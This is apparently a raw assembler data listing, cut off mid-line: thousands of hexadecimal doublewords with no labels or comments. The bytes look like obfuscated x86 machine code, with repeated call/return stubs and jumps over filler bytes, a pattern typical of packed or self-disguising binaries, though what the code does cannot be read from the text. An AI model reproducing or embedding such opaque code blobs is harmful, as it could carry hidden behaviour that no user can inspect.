3F8BD6EAh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6AC35040h, 12D8158Eh dd 993C6663h, 29C03201h, 73229B5h, 0A9958B06h, 0F3060729h dd 55006AAAh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 7E9A55Eh, 15000000h, 0A3D8AC74h, 4935FCBDh dd 0BA535041h, 0F22DE4Ch, 1C4D85C6h, 68470607h, 0B51B2F65h dd 0BA10BA66h, 49243481h, 8969CDA7h, 730759Dh, 0CDBD8906h dd 0FF06072Dh, 712EDB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0C5B58B77h, 8B060720h dd 0FE858DF7h, 6A060A7Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0FF3DC352h, 19850FD0h dd 0E9000000h, 14h, 2C6762EDh, 0F32F99F2h, 61A7D505h, 0D5DC642Ch dd 0E81A00A8h, 1BDD8589h, 0F08B0607h, 1C4D85C6h, 0E8530607h dd 0Ah, 28FAA690h, 61A569CDh, 0D2806EC2h, 4E85A07h, 0FC000000h dd 8A88986Ah, 4BB250F0h, 424448Bh, 5EF18A57h, 26BA008Bh dd 893A5460h, 0BA042444h, 560B2C2Ch, 1B58B58h, 0FF060720h dd 712EDB5h, 0D6816606h, 858DA709h, 60A7CFEh, 0FFD7B70Fh dd 51006AD0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 94875606h, 0F73EB5Ah, 1281h, 0BE95600h dd 5F000000h, 0D8D18FC4h, 25B61B8Eh, 8D5E5076h, 0A3E4885h dd 98F68106h, 896FE05Dh, 72C9185h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 5C58163h, 0BF37B0F7h dd 11E9h, 0ECCA4800h, 3E2865B9h, 5CAB744Ah, 1CF02560h dd 206A62EFh, 95FFFF6Ah, 6072C91h, 50414935h, 4D85C753h dd 1060704h, 0C7000000h, 7097D85h, 6, 958BF500h, 60717D1h dd 32B9BD83h, 0F000607h, 9B84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 63A8FE90h dd 858BFAB4h, 60701B5h, 2CA1958Bh, 0A3640607h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DCC35343h dd 0BA8E8909h, 0DEFAE468h, 303D950Bh, 858B0607h, 60706FDh dd 8E9h, 6A645200h, 964A70C5h, 6AE08B7Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 2C67C353h dd 232F99F2h, 72DD1B5h, 0F2B70F06h, 1F75BD83h, 0F000607h dd 38085h, 0E2816600h, 85C6F664h, 6071C4Dh, 0D2BF0F56h dd 0A008BD68h, 0D08B662Fh, 22240481h, 897A2528h, 7117D9Dh dd 0EDB5FF06h, 66060712h, 858DF08Bh, 60A7CFEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0E2C35747h, 3446AF8Fh dd 0A7B2B16Ch, 8589D0FFh, 607122Dh, 6800Fh, 958B0000h dd 6071E25h, 0D18B5190h, 6660505Eh, 9061CF8Bh, 0D9F7BA66h dd 2018D8Dh, 0BE660607h, 0B6916B84h, 0BE950F9h, 1D000000h dd 0DD8906D3h, 0EA838A46h, 0B291DE59h, 89046A40h, 715719Dh dd 0C65B6806h, 34815746h, 46D65B24h, 56006A57h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0B5FF91F3h dd 6070FCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 1CC35141h, 0B589BE15h, 607227Dh, 8D89D0FFh, 6071601h dd 0FCDBD8Bh, 95890607h, 6072331h, 663C7F03h, 426BCA81h dd 0F8C781h, 47C70000h, 2024h, 50006A60h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 60D6127Dh dd 32E18D89h, 0BD8B0607h, 607011Dh, 9EBD8361h, 60E5Bh dd 16A840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0E30BAC3h, 958BFFCDh, 6071665h dd 5128C783h, 0F223CE81h, 0C75A7963h, 696A2E07h, 55006A64h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 447C7B5h, 617461h, 3129958Bh, 858B0607h, 60E5BA6h, 18999589h dd 47890607h, 0AA858B0Ch, 89060E5Bh, 6A0847h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 86DFAAC3h dd 0C7835103h, 52006A28h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0C767B1B3h, 6F632E07h dd 51006A6Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 5B2FB1EBh, 0C7BF4CCEh, 69660447h, 6A0067h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0FB4977C3h, 8BA79412h, 0E5BA285h, 0E8606006h, 10h, 5C3058ECh dd 86EDCB37h, 0ED4646A1h, 0AFC76813h, 800F59h, 61000000h dd 92C88166h, 4789610Dh, 9E858B0Ch, 6A060E5Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0D5AAC353h, 0BA326D16h, 89BDE184h, 95890847h, 6070189h dd 0A9850158h, 8D06071Dh, 71A098Dh, 68D0F06h, 8B000000h dd 7008595h, 8B0F9106h, 0 dd 12E850h, 76950000h, 0A1AA4040h, 5CDA2EC2h, 0B6EF30C1h dd 0D89BA281h, 78FCBF60h, 0D18B3B8Dh, 33915E61h, 730E5B5h dd 1B5FF06h, 8B060702h, 70241B5h, 3C886806h, 0F58A96E8h dd 78240481h, 6A6917D3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 4E16C355h, 9E318BB2h dd 13E934h, 0E9A90000h, 45F1068Bh, 0AF2D24C3h, 4EFE3E74h dd 0F40132CAh, 6D85298Bh, 0FF060717h, 70FCDB5h, 3D958B06h dd 8B060716h, 72145B5h, 60D0FF06h, 0C9B4F5B4h, 0B861h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 3F50ECC3h, 42BE666Ah, 0FC00BF7h, 4184h, 11952300h dd 0FF060715h, 71691B5h, 0F9952B06h, 0FF060721h, 701E195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0F699CB73h, 6C7ECAA2h, 0A091F681h, 0C08B6EF2h dd 1C41B58Bh, 0BD830607h, 6073101h, 83097500h, 70A55BDh dd 19740006h, 0C08B5350h, 42DB8h, 7D858900h, 8D060721h dd 9B4599Dh, 5BD3FF06h, 55BD8358h, 6070Ah, 53501774h, 42DB8h dd 7D858900h, 8D060721h, 9B0FA9Dh, 5BD3FF06h, 1D958B58h dd 6A060701h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 5FA8C356h, 68E1A926h, 8926B8F5h dd 71CA58Dh, 81C08B06h, 8D5A6BF2h, 0E8C08B62h, 12h, 0C3F8C7ABh dd 8666DDE9h, 4038B94h, 0A9B7C31Eh, 95295500h, 6072DA1h dd 0CFB70F5Eh, 5A86C681h, 0CA8B0000h, 167968h, 0F59D8B00h dd 5F060716h, 3800Fh, 8B660000h, 0E936FFDAh, 11h, 566057E7h dd 93286029h, 5C26A84Bh, 18D7C1EDh, 0B589581Ah, 6071865h dd 0DCF4F081h, 8D035E0Ch, 6071CD9h, 0FA6FC081h, 8D0F2303h dd 2, 0E881D78Bh, 21B1DBFDh, 11CB8166h, 0F068959h, 785h dd 1810F00h, 0F9000000h, 0B703EE83h, 0B9664E56h, 0EF811809h dd 1, 0FF97850Fh, 0BA66FFFFh, 8D8D1882h, 60E6554h, 0FDBD8950h dd 5E060731h, 1B418D89h, 0BD890607h, 60705DDh, 60585C7h dd 61B40607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0D8E416C3h, 0F897D0ABh, 0BD8B07B3h dd 6073159h, 6985C7h, 607h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0AA7FE1C3h dd 8D895946h, 60715D1h, 2C11B5FFh, 58500607h, 1E195FFh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 556453C3h, 0B58B4D5Fh, 6072399h, 0B319D89h dd 6A0607h, 320195FFh, 0C08B0607h, 0C0F809EBh, 35633784h dd 8B910797h, 0C0h, 18Bh dup(0) dd 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 58E8B570h, 6A9DF93Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 997BC356h dd 38F98E46h, 0E961F8E8h, 0Bh, 4CC1B6Ch, 0F642E7D1h, 5DB100E5h dd 9E9h, 0C26DE600h, 0E2B09C02h, 44012A1Bh, 860F0824h dd 0Ch, 6800Fh, 810F0000h, 0 dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 14810FA2h, 0F000000h, 0E8Ah, 9E900h, 0CA860000h dd 0CF8E44FAh, 9D98E090h, 0EE9C3h, 0BE700000h, 2F65C611h dd 0BB2E650Fh, 0A4E1CD10h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0D4C35343h, 0F30223DDh, 0FC30E0Eh, 782h dd 18A0F00h, 0F8000000h, 0BF0FC08Bh, 0E6F080FAh, 9F1DA0B9h dd 0E4D9811Ch, 5700BC01h, 2C73D781h, 0E95F1F56h, 5, 609F2328h dd 0DB81660Eh, 0A9BAEE5Ah, 0F43F543h, 80h, 3880F00h, 0F000000h dd 8B66CABFh, 0E9F98BCBh, 6, 8C8CFC99h, 0F8602EBCh, 4850Fh dd 0BA660000h, 0E861C5DFh, 0Fh, 6D06EF80h, 820F36E2h, 0DD689975h dd 66D0BDEFh, 581B72BEh, 2890Fh, 6B00000h, 2BB2E881h, 6E826CEh dd 6E000000h, 2840CE07h, 0EA8166F3h, 0F5984BCh, 680h, 6C78100h dd 563DEBBBh, 7016BB66h, 3FBB665Ah, 0FF18B15h, 128Bh, 0BE95600h dd 0EC000000h, 38971045h, 2C140B66h, 0F5BBFA9h, 384h, 5BED8000h dd 6E9F9h, 0BBFD0000h, 0AC4D5419h, 0BF66E28Ah, 860FC6B0h dd 0 dd 7E9h, 839FFC00h, 356D2B29h, 82F06DB9h, 0E9CFB54Dh, 0Ah dd 582EF027h, 0F694E312h, 0F8609A77h, 0B96661F5h, 0BA664A9Dh dd 0BE66CC3Ch, 8A0F7BEEh, 6, 3AFFDB81h, 0BA600574h, 6DFCAA62h dd 0AE8h, 62178100h, 28DA1239h, 8002DDADh, 615EADC6h, 10E9h dd 722CE700h, 4FAD12EAh, 0EDD77C8Bh, 0DA3D931Ah, 0C8B70F49h dd 0CEF5E6B8h, 6810F4Eh, 81000000h, 513DB4EAh, 60DF8B32h dd 870Fh, 0E8610000h, 12h, 44B17EA9h, 445DFE3Fh, 0D0718D5Bh dd 0D9BBDh, 0B9667FC9h, 0BB5E044Dh, 7902B9D7h, 0AE960h dd 4EE20000h, 1881CC86h, 11D0D594h, 1840Fh, 61F50000h dd 8E9h, 1E924C00h, 42BA2801h, 80B4B0CBh, 13E9EEF0h, 0ED000000h dd 0CED2D7ABh, 4A71A765h, 0F0C809DDh, 171E7039h, 2CBB6819h dd 0E805E790h, 12h, 1323FC56h, 6078D046h, 0D9B63761h, 53AB890Ch dd 0E95EA247h, 14h, 4F29FF1Fh, 12A63857h, 0F30C3B51h, 61B2BC50h dd 0E2065AD1h, 0B1C9BF0Fh, 8CBF6665h, 0C3BF0F18h, 0B5CDB81h dd 0FCB732A8h, 5850F60h, 66000000h, 0A14DD081h, 6661F78Ah dd 81AA1ABFh, 0E8570BD3h, 0EFB86606h, 0C28056A0h, 8D0F5997h dd 5, 96D18166h, 0DBD880A0h, 28E0Fh, 0FE8B0000h, 60A2BF66h dd 8166D7B2h, 66D359C8h, 810FD78Bh, 3, 66DFB70Fh, 8A6DF681h dd 239CEBB9h, 0F181666Ah, 6651AB37h, 2413D881h, 0DE95Bh dd 44450000h, 59268F03h, 36A2EAE2h, 66C6C8CFh, 8B66C88Bh dd 820F52C1h, 15h, 10E9h, 80E8500h, 3B874395h, 23921B2Ah dd 0CF4608C9h, 0E4805BD8h, 47E280B9h, 2F04B866h, 0E860Fh dd 6E80000h, 3B000000h, 78AAB1ACh, 5F26B29Ah, 5FC28B53h dd 81F38166h, 0E9F5F917h, 0Ch, 0F48AF105h, 297F76BAh, 528905CFh dd 6E9h, 0A65C7100h, 0F9282B0Eh, 12E8h, 34DB9600h, 0BD0A79A3h dd 5A3C799Dh, 0AE7FC503h, 0E91C07DCh, 0Eh, 0ECADF17Eh dd 6C88C62Ah, 26FFB6A5h, 66594449h, 29F3D781h, 233BD381h dd 0E9606F9Dh, 5, 6C841723h, 6199B2E1h, 0FE856FCh, 0E0000000h dd 0FC9EE942h, 0E83084ABh, 0E983DF0Dh, 0BE90D9Dh, 52000000h dd 6425709h, 0F13C7E1Ah, 5A5EB623h, 128A0F57h, 0E8000000h dd 0Ch, 0F9C06354h, 5A69986Ah, 73BF51AEh, 13E95A58h, 75000000h dd 390474CDh, 0AE246E5Ch, 72BC90BBh, 30A108DAh, 66FC8D8Fh dd 0FC413B9h, 12E8D7BFh, 37000000h, 0C4A2A052h, 0D9B2E4A0h dd 0E9F88D40h, 0F51D38B4h, 0D3BF0F5Bh, 0EE95Eh, 65490000h dd 503811F8h, 0A13CCE0Bh, 859AEE1Ch, 12E9h, 0DABFA200h dd 5D33C453h, 0BC365167h, 0B02807B8h, 0E840023Eh, 11h dd 0E73C5482h, 0FC9674C7h, 512DDEE3h, 84AFBDBCh, 0A2BE66C4h dd 860F5E71h, 1, 80D181FCh, 8B41B531h, 0EE8C1h, 8B6D0000h dd 839985Ah, 35D94156h, 96E1CF45h, 9E9h, 0F3BD3800h, 0C7956493h dd 8B5FDC32h, 14E9CAh, 75820000h, 0EFDD6899h, 2FC9D0BDh dd 325F5423h, 15A830C4h, 0BE66B4D2h, 0B866788Fh, 0F606487h dd 28Fh, 53F3B500h, 0EE9h, 84F5BC00h, 0AFEC00CAh, 179E521Dh dd 5EBE5A99h, 8E861h, 3C030000h, 8AC8F384h, 0BE5E1175h dd 4F8D6DCAh, 5830Fh, 0CEBE0000h, 0E9078389h, 6, 0A113A7Fh dd 0B70FD0C5h, 6E9FAh, 948F0000h, 961A2E02h, 10E9h, 0D47B9100h dd 0EC3A5081h, 0D4807909h, 0EFFDCD74h, 0C5B9665Dh, 8B66F9A0h dd 30EE80F9h, 13E950h, 0FE240000h, 0D3C39AD4h, 0FDEE29ACh dd 36AC2A32h, 259CAD61h, 0BB665EF4h, 0D18B0985h, 14E9h dd 6D558200h, 0E40734AFh, 0B6FFC6BBh, 7AD03891h, 2AA18243h dd 13E839h, 0EB7B0000h, 6A45CEF2h, 0C0B323DCh, 2AFCBA9h dd 8EDED207h, 0F38A5741h, 0C7815E5Fh, 3A41C6A7h, 88B0Fh dd 81500000h, 972421EFh, 0FE95F1Eh, 0E6000000h, 3380AE1Bh dd 12AD67D9h, 0B6A0A626h, 14E99C0Ch, 57000000h, 0A8D81B68h dd 3B5D1F0Dh, 0B2DCCB88h, 9B441D41h, 66B5526Ah, 0FAC52BBh dd 8166D1BFh, 8171FEEEh, 52C6F4EFh, 13E952h, 1DB30000h dd 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh, 8ED385EEh, 0C18B661Ch dd 6E9h, 57DB0700h, 6666CF34h, 0B51401B9h, 6607B1C9h, 0FC452BFh dd 1887h, 13E900h, 0A3940000h, 0AC0BDE99h, 0AC536221h dd 5C0D3FA9h, 0DF7E0FE2h, 58C0F0Ah, 66000000h, 0B6C2F281h dd 0FE3ED281h, 0D2BB0923h, 6643A066h, 0B966D08Bh, 10E97B32h dd 0D4000000h, 0CBDBABF1h, 8C7191A1h, 89F18273h, 660A0586h dd 0EA7CA81h, 60C1BF0Fh, 0B2F38166h, 6FC1808Ch, 0F7BF0F61h dd 0D18B66FCh, 37E6D281h, 8B661BADh, 6E8F9h, 0FAA40000h dd 545A0F9Eh, 59C3BF0Fh, 0DE8h, 0FF0B7F00h, 14721E65h dd 0E1FEFB75h, 805107B7h, 5A58DFF0h, 0CE9h, 0B1379200h dd 293870C3h, 0B920B102h, 0F58AF9F1h, 11E9h, 9A077A00h dd 0A3AA0AF4h, 4CCFFAD7h, 3E56BFCEh, 77B01BE8h, 8BB15360h dd 0BB66605Bh, 0CA8028CEh, 666161B2h, 4F80CB81h, 58E0Fh dd 76B90000h, 665C652Bh, 66DE16BBh, 496AE881h, 88DF8157h dd 587FB522h, 818BBA66h, 5E957h, 0A150000h, 5BA90BE1h dd 91F699B8h, 0CE86062h, 5E000000h, 0AC94416Bh, 0EC1ABC78h dd 0F9FA90E9h, 0B966615Fh, 0EE8196Ah, 0EC000000h, 939B3B46h dd 1250E9ACh, 0B60C2ABh, 0AE9593Eh, 0E9000000h, 614CD86Fh dd 0D357D0EBh, 35BA6600h, 8AA4B671h, 8F0FFAh, 60000000h dd 80F0B70Fh, 666121D0h, 0B51B72B9h, 0FE907h, 70B00000h dd 80F9C0Fh, 0E54DAF5Ch, 79E34D15h, 0FF78BCAh, 487h, 0D38B5600h dd 0E959B15Fh, 11h, 1CBA5A5Dh, 2B052199h, 73EABD59h, 0CC9D0E80h dd 5870FC6h, 0B8000000h, 740B6B18h, 7C3EC281h, 66503414h dd 2C8FCA81h, 8FB2BE5Ah, 0E9601629h, 0Ah, 0F178A726h, 0E5720987h dd 0BB61DDC4h, 48F3BFC3h, 8D0F51F9h, 6, 850Fh, 0F5F0000h dd 98Fh, 38A0F00h, 80000000h, 5E973D8h, 0C3000000h, 0BC8DBC41h dd 5E9h, 8D7A9200h, 1AB5331Ah, 1CA8166h, 5EFFB8FBh, 830F35E3h dd 4, 5EF88B50h, 0F3F0BE66h, 15880Fh, 10E90000h, 0BC000000h dd 0DC2B721Fh, 4E4D8E92h, 0AB618C5Fh, 0F52D72Bh, 383h dd 5CEF8000h, 0E8E780FCh, 0CE9h, 0F220A400h, 0F4F69365h dd 7F905406h, 0CF8BF843h, 11E8FCF9h, 89000000h, 4C3B910Bh dd 4EF91C1Ah, 0A08D7853h, 8F7C2357h, 8B0F59F5h, 3, 0FF9B70Fh dd 485h, 0D3BA6600h, 11E956F5h, 83000000h, 0D0919E04h dd 0F152AE9Dh, 4E1E89F9h, 61B60FAAh, 0D9BB665Bh, 0F08B5103h dd 0BF0FFC5Bh, 10E9DAh, 0D050000h, 1788873Ah, 0C789C0D3h dd 0DDCE1A36h, 8C0F3465h, 4, 0C821B866h, 392BBA66h, 13830Fh dd 0EE90000h, 0D6000000h, 0E36FFA77h, 0F4C9B7E3h, 0E469EA73h dd 0AE9F5h, 47050000h, 15AE1674h, 13B621F8h, 3870Fh, 8B660000h dd 11E9DEh, 2730000h, 96F13923h, 0E6F70BF7h, 0AB3A598Eh dd 0FB4026Ah, 13E9CAB7h, 0A2000000h, 80D3D7B2h, 487ADFAEh dd 0D6DB2878h, 0AFAF2E11h, 0B70FB6E6h, 0CA8166C0h, 880FD956h dd 0Ah, 810F60h dd 60000000h, 0C58A6161h, 2AD2BB66h, 0BB66E38Ah, 0BE9926Ah dd 0D2000000h, 0DDCB47h, 2BC1F979h, 0CE80DD05h, 0F9B70F43h dd 0FAE38060h, 3890Fh, 0C6800000h, 820F61D6h, 4, 5ADDB456h dd 0E9F98A60h, 6, 401E266h, 60614CF4h, 0CE8h, 2627DB00h dd 36CDCFE1h, 0A8FF9800h, 800F6Ah, 58000000h, 6AB8F961h dd 8156D071h, 0FE40D1E7h, 33D78174h, 0F5CD02Ah, 380h, 0C9BF0F00h dd 5879BE66h, 40BFB966h, 0D7F5BF60h, 0CA8122F5h, 196A84E6h dd 12E861h, 7F260000h, 81B48019h, 41E02F30h, 0AA746B83h dd 4CC72FEDh, 0CF8B6656h, 81665858h, 0E9B731C1h, 13h, 0DFAAFE82h dd 3A510386h, 4F6526F3h, 973238D3h, 8106DF2Ah, 0D2DFCFF2h dd 3890F2Ch, 0F000000h, 0C281D3B7h, 46E21C0Ch, 0E95BF953h dd 0Dh, 9FF3F4Bh, 7D4BE69Ah, 0B8E0707Bh, 0CE96Bh, 11240000h dd 44B6684Ch, 3E8CA6BAh, 0CE89546h, 4A000000h, 843C03C3h dd 758AC8F3h, 0F983311h, 82h, 13E95800h, 0FF000000h, 0F176641Eh dd 0AB425A55h, 148DA412h, 36FBEDBEh, 0EE84AB6h, 0EB000000h dd 77414CB8h, 482E607Fh, 8DA67D2Ch, 6E98Eh, 75DA0000h dd 52C57CE1h, 0B7D88A58h, 14E9604Bh, 0C0000000h, 13669025h dd 0CEC8C7BBh, 0D5A3B0E3h, 0D98E6655h, 81AAB074h, 2F6EA1EEh dd 0B9666134h, 13E8A40Fh, 48000000h, 98AD656Ch, 1E71B3E2h dd 0CF97A26h, 0A315FA9h, 850F2CE5h, 0Dh, 8E9h, 1739A100h dd 132A834Ah, 0BE665E3Fh, 8F0FFBC6h, 3, 0E9CBDF80h, 6 dd 0D1275C80h, 10E9ABA0h, 1B000000h, 9EEB779Dh, 0EE6119CEh dd 1C8ED385h, 8BC8F72Dh, 606053C1h, 54BB6661h, 0E95B6148h dd 5, 0E6ED2BA9h, 8E9C4h, 0A4CE0000h, 0ED925579h, 800F09A7h dd 3, 0FF2BF0Fh, 884h, 28E0F00h, 52000000h, 3DD18058h dd 10E85657h, 4C000000h, 4EBF76FAh, 1BA74F79h, 2550D279h dd 5BC8BFA0h, 8E0F5A58h, 2, 800F69B2h, 18h, 128C0Fh, 0DE90000h dd 0DA000000h, 48C30946h, 4FB320ABh, 0BC7E9A31h, 0A6D38166h dd 0FE2B726h, 178Dh, 0FE85100h, 0EF000000h, 6E9A01E0h dd 4A6820FAh, 3B0DEC7Eh, 595948D8h, 0EE9h, 43272E00h, 9DC93E99h dd 8E2ECE2Dh, 0E9E47611h, 13h, 63391589h, 0A287C417h, 0E44BFF71h dd 0D35CECBFh, 668EB9B7h, 0DAE4E281h, 81D38B66h, 0D8EE32F7h dd 0BAC38B3Ch, 7BDE3337h, 0DCB86651h, 0BB665F19h, 8B660FB5h dd 5E960D7h, 9D000000h, 0EA12E9EEh, 0CE9h, 6705B500h, 0F3A68B49h dd 8DB98452h, 81666157h, 669B53E8h, 3341D981h, 0E88166FCh dd 0F95780F8h, 0BE858h, 0D26D0000h, 0CE12C53Ch, 0CA2BC0A5h dd 0DE85F6Dh, 95000000h, 45D8AE03h, 24A34B4h, 9ADF8ED4h dd 5A7AC880h, 0E28D47BBh, 5E828h, 8E5F0000h, 60D5F230h dd 8BCE8B66h, 665B61CBh, 0FF5CB8Bh, 8E9F7B7h, 0B7000000h dd 9D586F69h, 66A92DA6h, 0F8269B8h, 0B8Ah, 6E900h, 77390000h dd 73732B67h, 9E9h, 0C397D100h, 5A382B7Eh, 81667517h, 0F2CEAD7h dd 1589h, 10E900h, 41060000h, 0D2410169h, 0BE322908h, 71CDA0E3h dd 870FE310h, 0 dd 0FF7BF0Fh, 128Bh, 0DE900h, 43E20000h, 2FB799EAh, 2EDCF01h dd 66E3CBCDh, 8B4A00BAh, 0E38166CFh, 0BF0F4156h, 0F68166F2h dd 0B460313Bh, 0C0C680B2h, 0B70F6061h, 12E9D1h, 4A5A0000h dd 651DA848h, 5AD9FC74h, 20587C7Eh, 0E8C891E6h, 8A0F61h dd 0E8000000h, 7, 1236CF04h, 80C7D401h, 0E85A66DCh, 13h dd 0F6D50A81h, 0DC4BF756h, 0D0C71332h, 1E4C7FB3h, 59EFBCDBh dd 58C0Fh, 0DEBF0000h, 665AB7D2h, 28F9DB81h, 76EA8166h dd 8E88Ch, 0A5430000h, 162391E3h, 0C1B60053h, 0D3816659h dd 66FC9549h, 801DB4B9h, 10E913D3h, 8A000000h, 97FE3946h dd 4E124506h, 0D6779F6h, 669E3E14h, 0E97EBFBEh, 0Bh, 0E8FC95B3h dd 37DA6B19h, 0F89EF69h, 58Fh, 4DCCB900h, 66F90F07h, 5733CEB8h dd 0C8B0Fh, 6E80000h, 22000000h, 0F6717BDCh, 0F5B5BCAh dd 8BF5D7BFh, 2860FC1h, 8B000000h, 0CBBF0FF8h, 0AE8h, 9A8C4200h dd 6F0FD98Bh, 0F482BEEh, 684h, 28C18100h, 5F400802h, 3880Fh dd 0BF0F0000h, 0CE9C3h, 47010000h, 0EE663530h, 0BDA29BFCh dd 0AE97DA5h, 60000000h, 0FE6E1634h, 64730EFEh, 38B0F75h dd 0F000000h, 0D98ACEB7h, 38A0Fh, 0B70F0000h, 0D1BF0FFAh dd 5E9h, 460F500h, 13E9DEA5h, 0DF000000h, 0D9CA2FBAh, 3980F4A8h dd 0DF7D860h, 0A1ABC724h, 0C28BEEF1h, 178E0Fh, 12E90000h dd 38000000h, 0BA835ABCh, 365EE80Bh, 3307D993h, 412BADB6h dd 0CE816654h, 2ABEF8F5h, 0BA29B819h, 177C7210h, 1850Fh dd 0E9F90000h, 0Bh, 8995AE96h, 0EE5DB842h, 0E911F9A9h dd 7, 9C2CF95Ah, 0FCE4EBAh, 18Eh, 8BF5F800h, 6660F5D3h dd 0DDE2D381h, 0D38B6660h, 61615852h, 28D0Fh, 56B00000h dd 7E9h, 8B4FAD00h, 1AEDD77Ch, 66F18B66h, 9E8F78Bh, 0BE000000h dd 475B968Dh, 9E56DFFAh, 0EE9h, 0D2B27F00h, 5F84289Bh dd 0D27F99A2h, 5BB5B3E6h, 88F0Fh, 8F0F0000h, 2, 8E95956h dd 4E000000h, 4C64DCC5h, 0F6D344Dh, 1983h, 14E900h, 2B2B0000h dd 792C8457h, 0A8F978Dh, 193DA073h, 0FCB51C76h, 8B66F288h dd 0F08A60C3h, 5488BF66h, 13E861h, 5A0F0000h, 6565B454h dd 2F33AECCh, 0EC99B16Dh, 0A0744976h, 9E834h, 8ADA0000h dd 2A7E60EFh, 0FCE5F80h, 8Ch, 66595800h, 5010ABB9h, 0FE9h dd 0CAEB3300h, 690852Dh, 73D3B8F8h, 6F62651Bh, 5E8605Bh dd 0C7000000h, 0B2812647h, 0F5E18B0h, 68Ah, 830F00h, 61000000h dd 1880Fh, 0FF50000h, 178Bh, 12E900h, 19A70000h, 75D27C18h dd 0E6283D69h, 49E60869h, 999E7C04h, 14E8D58Ah, 76000000h dd 444F80BAh, 0B50B4DCDh, 1612BD91h, 866674Ch, 0E9FE3CFDh dd 13h, 0D21C0508h, 7166CED5h, 0F5D3BAFBh, 0E9C431B1h dd 5E5D9E98h, 12E9h, 17714A00h, 108C4052h, 44FC11B4h, 801CF398h dd 81E73951h, 67810AD6h, 2ED0814Fh, 6001AC06h, 10E8F78Bh dd 0BA000000h, 0C63A4243h, 0A8FCD598h, 579A50A1h, 661B635Dh dd 9293DF81h, 8B0F615Ah, 9, 38F0Fh, 0C7800000h, 0E8F56062h dd 0Bh, 1CAC387Dh, 0AE309A0Bh, 0BF7FB0CFh, 41F91C8Eh, 6E96158h dd 3E000000h, 80272561h, 14E9B2h, 216D0000h, 497EF191h dd 3C31990Ch, 0B08035D2h, 2816D6C6h, 8B66C2F9h, 0A5BB66C2h dd 5860FEFh, 0BB000000h, 81A2414h, 880Fh, 0F3800000h, 68F0F05h dd 0F000000h, 8Bh, 0F2BB6600h, 0ADEDBBF2h, 0B70F2D5Eh dd 81D18BC9h, 6D9D2DF3h, 805F536Dh, 0CC8AE7CBh, 6E8h, 0F95BA000h dd 60CFF8C3h, 0B7D98166h, 0F3B70F76h, 7E95F61h, 69000000h dd 9C934B8Ch, 81662653h, 8B00FCE1h, 0DAC181F2h, 663D46C9h dd 0F400EBAh, 8B66D8BFh, 80E2B5F9h, 0E0816AC9h, 4221ABCCh dd 0E3D08166h, 0D2816665h, 0E0806AB1h, 38E0FAEh, 80000000h dd 0BB6692F1h, 0BE8CC2Ah, 0A5000000h, 33227E28h, 0FEF11163h dd 0D18B441Fh, 22E08158h, 600695B4h, 815B5360h, 0F94BCEE3h dd 81606167h, 545F81E1h, 6161F569h, 0AE9h, 679D0B00h, 0CF8CAD11h dd 0E9BC494Eh, 7, 1E6D4AA1h, 66FDE2CAh, 0F9CAF381h, 0D76BEE81h dd 8B6670CEh, 0D68152CEh, 2A8A938Eh, 0DE85Fh, 0D6DA0000h dd 53200BF2h, 0A9B049EAh, 8A0C6B1Bh, 8F0F59DDh, 3, 0E9FA8B66h dd 9, 45390FD3h, 82862C5Bh, 6660F986h, 0CD80D08Bh, 8B66614Dh dd 0DE8FCC3h, 78000000h, 2164DFD8h, 15C0EFEAh, 66CD7F3Ah dd 815F8BB2h, 0BA0D92E0h, 820F56h, 0F000000h, 1387h, 0EE900h dd 0EDC50000h, 0B7D6D9D0h, 4BBF9962h, 0A5CF524h, 8166AAB6h dd 66EC4AD0h, 0C181D98Bh, 5C060261h, 7E9h, 147D7A00h, 5B882BAEh dd 901CC181h, 0EE90476h, 0C1000000h, 2ADD052Bh, 0D6B4AFEDh dd 8B855624h, 0E9F88AB2h, 0Fh, 8E7C9491h, 4D0D9697h, 0BDE963CBh dd 66B1AE7Ah, 66F7ACB8h, 6504E181h, 0AE9DA8Bh, 0E9000000h dd 55079BBFh, 